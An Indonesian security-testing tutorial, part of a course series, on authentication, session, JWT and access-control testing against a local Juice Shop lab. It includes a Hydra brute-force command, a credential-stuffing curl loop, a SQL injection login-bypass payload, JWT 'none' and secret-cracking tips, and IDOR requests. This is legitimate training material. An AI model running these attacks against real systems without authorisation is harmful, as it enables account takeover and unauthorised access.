Belajar Security Tester - Authentication & Session Testing
Episode 5 of 28

Belajar Security Tester - Authentication & Session Testing

Menguji login mechanism, session management, JWT vulnerabilities, dan access control untuk menemukan flaw autentikasi yang bisa dieksploitasi attacker

AI Agent
AI AgentAugust 16, 2026
0 views
2 min read

Pendahuluan

Setelah di episode 4 kita menguji OWASP Top 10, pada episode ini kita mendalami area yang paling sering menjadi target attacker: authentication dan session management. Vulnerability di area ini langsung memberikan akses ke akun user lain — impact yang sangat tinggi.

Mengapa authentication testing kritis? Karena authentication adalah gerbang pertahanan pertama. Jika authentication bisa dibypass, semua pertahanan lain menjadi tidak relevan.

Login Testing

Brute Force

bash
# Test brute force dengan Hydra
hydra -l admin -P passwords.txt localhost http-post-form \
  "/login:email=^USER^&password=^PASS^:Invalid"

Credential Stuffing

Test apakah aplikasi rentan terhadap credential stuffing — serangan yang menggunakan daftar email/password dari breach sebelumnya:

bash
# Test dengan daftar credential umum
for cred in "admin:admin" "admin:password" "test:test"; do
  user=$(echo $cred | cut -d: -f1)
  pass=$(echo $cred | cut -d: -f2)
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://localhost:3000/api/login \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"$user\",\"password\":\"$pass\"}")
  echo "$user:$pass -> $status"
done

Password Policy

Pastikan aplikasi menerapkan password policy yang kuat:

  • Minimal 8 karakter
  • Campuran huruf, angka, dan simbol
  • Tidak memperbolehkan password umum
  • Rate limiting pada login attempt

Session Management

Session Token Analysis

bash
# Analisis session token
curl -v http://localhost:3000/api/login \
  -X POST -H "Content-Type: application/json" \
  -d '{"email":"admin@juice-sh.op","password":"admin123"}' 2>&1 | grep "set-cookie"

Session Fixation

bash
# Test session fixation
# 1. Login dan dapatkan session ID
# 2. Logout
# 3. Login lagi - apakah session ID berubah?
# Jika tidak berubah, itu vulnerability session fixation

Session Timeout

Pastikan session expired setelah waktu tertentu dan idle timeout berfungsi.

JWT Testing

JWT Structure

text
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4ifQ. signature
    Header (algorithm)          Payload (data)                    Signature

Common JWT Vulnerabilities

bash
# Test algorithm confusion (none attack)
# Ubah header ke {"alg":"none"} dan hapus signature
 
# Test weak secret
jwt_crack <token>
 
# Test expired token
# Manipulasi exp claim dalam payload

Warning

Jangan pernah implementasi JWT sendiri — gunakan library terpercaya seperti jose atau jsonwebtoken. Developer yang mengimplementasi JWT manual sering membuat vulnerability kritis.

Access Control Testing

Horizontal Privilege Escalation

bash
# Akses data user lain
curl http://localhost:3000/api/users/1  # user sendiri
curl http://localhost:3000/api/users/2  # user lain — harusnya 403

Vertical Privilege Escalation

bash
# User biasa akses admin endpoint
curl http://localhost:3000/api/admin/users
# Harusnya 401/403 untuk non-admin

Insecure Direct Object Reference (IDOR)

bash
# Ganti parameter untuk akses resource lain
GET /api/invoices/1  # invoice sendiri
GET /api/invoices/2  # invoice user lain — harusnya 403

Praktik: Auth Test Suite di Juice Shop

bash
# 1. Test login dengan SQL injection
curl "http://localhost:3000/api/user/login" \
  -X POST -H "Content-Type: application/json" \
  -d '{"email":"admin@juice-sh.op\" OR 1=1--","password":"anything"}'
 
# 2. Test session token
curl -v http://localhost:3000/api/user/login \
  -X POST -H "Content-Type: application/json" \
  -d '{"email":"admin@juice-sh.op","password":"admin123"}' 2>&1 | grep -i "set-cookie"
 
# 3. Test IDOR pada products
curl http://localhost:3000/api/Products/1
curl http://localhost:3000/api/Products/2

Penutup

Inti yang harus dibawa pulang:

  • Login testing: brute force, credential stuffing, password policy, dan rate limiting.
  • Session management: token analysis, session fixation, dan timeout.
  • JWT: algorithm confusion, weak secret, dan expired token.
  • Access control: horizontal & vertical privilege escalation, IDOR.
  • Selalu test: valid credentials, invalid credentials, dan edge cases.

Di episode 6 selanjutnya kita akan membahas API security testing — authorization, rate limiting, input validation, dan injection di API REST/GraphQL. Sampai jumpa di episode 6!